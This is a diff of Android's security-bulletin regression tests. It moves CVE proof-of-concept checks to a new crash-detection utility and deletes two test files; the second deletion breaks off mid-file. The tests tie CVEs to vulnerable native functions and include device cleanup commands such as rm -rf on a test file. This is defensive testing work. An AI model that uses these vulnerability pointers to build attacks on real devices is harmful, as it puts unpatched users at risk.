diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
index c4401f7..49ecd22 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
@@ -17,9 +17,10 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.regex.Pattern;
import org.junit.Test;
@@ -40,15 +41,15 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
String binaryName = "CVE-2019-2020";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"llcp_dlc_proc_rx_pdu"));
testConfig.config
.setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
- testConfig.config.checkMinAddress(false);
+ testConfig.config.setIgnoreLowFaultAddress(false);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
index aba1d48..0d4b848 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
@@ -17,8 +17,9 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -34,9 +35,9 @@
@Test
public void testPocCVE_2019_2027() throws Exception {
String binaryName = "CVE-2019-2027";
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
testConfig.config
.setAbortMessageIncludes(AdbUtils.escapeRegexSpecialChars("ubsan: mul-overflow"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
index 5ec5c03..58724c0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
@@ -17,9 +17,10 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.regex.Pattern;
import org.junit.Test;
@@ -40,10 +41,10 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
String binaryName = "CVE-2019-2031";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"rw_t3t_act_handle_check_ndef_rsp"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
index 51e000d..65ff136 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -17,8 +17,9 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.Arrays;
import org.junit.Test;
@@ -37,9 +38,9 @@
pocPusher.only32();
String binaryName = "CVE-2020-0034";
String inputFiles[] = {"cve_2020_0034.ivf"};
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.inputFiles = Arrays.asList(inputFiles);
testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
index de78aaf..c1cf6e9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java
@@ -36,7 +36,6 @@
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2020-0072", getDevice());
- testConfig.checkCrash = false;
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index bb8778f..cc87281 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -17,9 +17,10 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.regex.Pattern;
import org.junit.Test;
@@ -41,9 +42,9 @@
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
String binaryName = "CVE-2020-0073";
- String signals[] = {CrashUtils.SIGABRT};
+ String[] signals = {TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"rw_t2t_handle_tlv_detect_rsp"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0118.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0118.java
index ea070ca..2586b7a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0118.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0118.java
@@ -17,8 +17,9 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -33,10 +34,10 @@
@AsbSecurityTest(cveBugId = 150904694)
@Test
public void testPocCVE_2020_0118() throws Exception {
- String signals[] = {CrashUtils.SIGBUS};
+ String signals[] = {TombstoneUtils.Signals.SIGBUS};
String binaryName = "CVE-2020-0118";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java
index 2c9e45a..56596c1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java
@@ -20,7 +20,7 @@
import static org.junit.Assume.*;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
@@ -37,10 +37,12 @@
@AsbSecurityTest(cveBugId = 147664838)
public void testPocCVE_2020_0224() throws Exception {
assumeThat(getDevice().getProperty("ro.config.low_ram"), not(is("true")));
- AdbUtils.runProxyAutoConfig("cve_2020_0224", getDevice());
- AdbUtils.assertNoCrashes(getDevice(), new CrashUtils.Config()
+ TombstoneUtils.Config config = new TombstoneUtils.Config()
.setProcessPatterns("pacrunner")
- .checkMinAddress(false)
- .appendSignals(CrashUtils.SIGABRT));
+ .setIgnoreLowFaultAddress(false)
+ .appendSignals(TombstoneUtils.Signals.SIGABRT);
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+ AdbUtils.runProxyAutoConfig("cve_2020_0224", getDevice());
+ }
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
index e56352a..65998c8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0241.java
@@ -17,9 +17,10 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.regex.Pattern;
import org.junit.Test;
@@ -41,10 +42,10 @@
pocPusher.only32();
String binaryName = "CVE-2020-0241";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libmediaplayerservice",
"android::NuPlayer::NuPlayerStreamListener::NuPlayerStreamListener"));
- String signals[] = {CrashUtils.SIGABRT};
+ String[] signals = {TombstoneUtils.Signals.SIGABRT};
testConfig.config.setSignals(signals);
testConfig.config.setAbortMessageIncludes(
AdbUtils.escapeRegexSpecialChars("Pure virtual function called"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
index 317b447..70319cd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
@@ -17,8 +17,9 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -34,8 +35,8 @@
@AsbSecurityTest(cveBugId = 151644303)
public void testPocCVE_2020_0243() throws Exception {
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2020-0243", getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns("mediaserver");
- testConfig.config.checkMinAddress(false);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns("mediaserver");
+ testConfig.config.setIgnoreLowFaultAddress(false);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
index 7062545..210d6bd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -19,9 +19,10 @@
import static org.junit.Assume.assumeFalse;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.Arrays;
import java.util.regex.Pattern;
@@ -41,9 +42,9 @@
assumeFalse(moduleIsPlayManaged("com.google.android.media"));
String binaryName = "CVE-2020-0381";
String inputFiles[] = {"cve_2020_0381.xmf", "cve_2020_0381.info"};
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_ptbl"));
testConfig.config.setSignals(signals);
testConfig.arguments =
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
index b2e9ae2..3cf2b41 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0383.java
@@ -19,9 +19,10 @@
import static org.junit.Assume.assumeFalse;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.Arrays;
import java.util.regex.Pattern;
@@ -41,9 +42,9 @@
assumeFalse(moduleIsPlayManaged("com.google.android.media"));
String binaryName = "CVE-2020-0383";
String inputFiles[] = {"cve_2020_0383.xmf", "cve_2020_0383.info"};
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_lins"));
testConfig.config.setSignals(signals);
testConfig.arguments =
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
index c9bc523..a6e30f0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -19,9 +19,10 @@
import static org.junit.Assume.assumeFalse;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.Arrays;
import java.util.regex.Pattern;
@@ -41,9 +42,9 @@
assumeFalse(moduleIsPlayManaged("com.google.android.media"));
String binaryName = "CVE-2020-0384";
String inputFiles[] = {"cve_2020_0384.xmf", "cve_2020_0384.info"};
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(
new BacktraceFilterPattern("libmidiextractor", "Convert_art"));
testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
index b57a645..7c5640c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -19,9 +19,10 @@
import static org.junit.Assume.assumeFalse;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.Arrays;
import java.util.regex.Pattern;
@@ -41,9 +42,9 @@
assumeFalse(moduleIsPlayManaged("com.google.android.media"));
String binaryName = "CVE-2020-0385";
String inputFiles[] = {"cve_2020_0385.xmf", "cve_2020_0385.info"};
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libmidiextractor", "Parse_lins"));
testConfig.config.setSignals(signals);
testConfig.arguments =
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
index 6c2486e..f14d9de 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
@@ -17,8 +17,9 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -34,8 +35,8 @@
@AsbSecurityTest(cveBugId = 170732441)
public void testPocCVE_2021_0330() throws Exception {
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0330", getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns("storaged");
- testConfig.config.checkMinAddress(false);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns("storaged");
+ testConfig.config.setIgnoreLowFaultAddress(false);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index 4d1f9ea..f78d393 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -17,9 +17,10 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.regex.Pattern;
import org.junit.Test;
@@ -40,10 +41,10 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
String binaryName = "CVE-2021-0430";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"rw_mfc_handle_read_op"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
index 299abc6..5a365cc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0473.java
@@ -35,7 +35,6 @@
AdbUtils.assumeHasNfc(getDevice());
pocPusher.only64();
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0473", getDevice());
- testConfig.checkCrash = false;
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
index c98dc5e..c47c5be 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0484.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,8 +17,10 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -28,12 +30,12 @@
/**
* b/173720767
* Vulnerability Behavior: EXIT_VULNERABLE (113)
+ * Vulnerable library : libmedia
+ * Is Play managed : No
*/
@Test
@AsbSecurityTest(cveBugId = 173720767)
public void testPocCVE_2021_0484() throws Exception {
- AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0484", getDevice());
- testConfig.checkCrash = false;
- AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-0484", getDevice(), 300);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
index 159af00..e0e6011 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
@@ -20,6 +20,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -33,13 +34,14 @@
*/
AdbUtils.pushResource(
"/" + mediaFileName, "/sdcard/" + mediaFileName, getDevice());
- AdbUtils.runCommandLine("logcat -c", getDevice());
- AdbUtils.runCommandLine(
- "am start -a android.intent.action.VIEW -t video/avi -d file:///sdcard/"
- + mediaFileName, getDevice());
- Thread.sleep(4000); // Delay to run the media file and capture output in logcat
- AdbUtils.runCommandLine("rm -rf /sdcard/" + mediaFileName, getDevice());
- AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
+ TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("mediaserver");
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+ AdbUtils.runCommandLine(
+ "am start -a android.intent.action.VIEW -t video/avi -d file:///sdcard/"
+ + mediaFileName, getDevice());
+ Thread.sleep(4000); // Delay to run the media file and capture output in logcat
+ AdbUtils.runCommandLine("rm -rf /sdcard/" + mediaFileName, getDevice());
+ }
}
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
deleted file mode 100644
index 2e1ddda..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/**
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.AsbSecurityTest;
-
-import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0642 extends NonRootSecurityTestCase {
- static final String TEST_APP = "CVE-2021-0642.apk";
- static final String TEST_PKG = "android.security.cts.cve_2021_0642";
- static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
-
- @Before
- public void setUp() throws Exception {
- ITestDevice device = getDevice();
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- uninstallPackage(device, TEST_PKG);
- }
-
- /**
- * b/185126149
- */
- @AppModeFull
- @AsbSecurityTest(cveBugId = 185126149)
- @Test
- public void testPocCVE_2021_0642() throws Exception {
- installPackage(TEST_APP);
- Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642"));
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
deleted file mode 100644
index 15c59ef..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0685 extends NonRootSecurityTestCase {
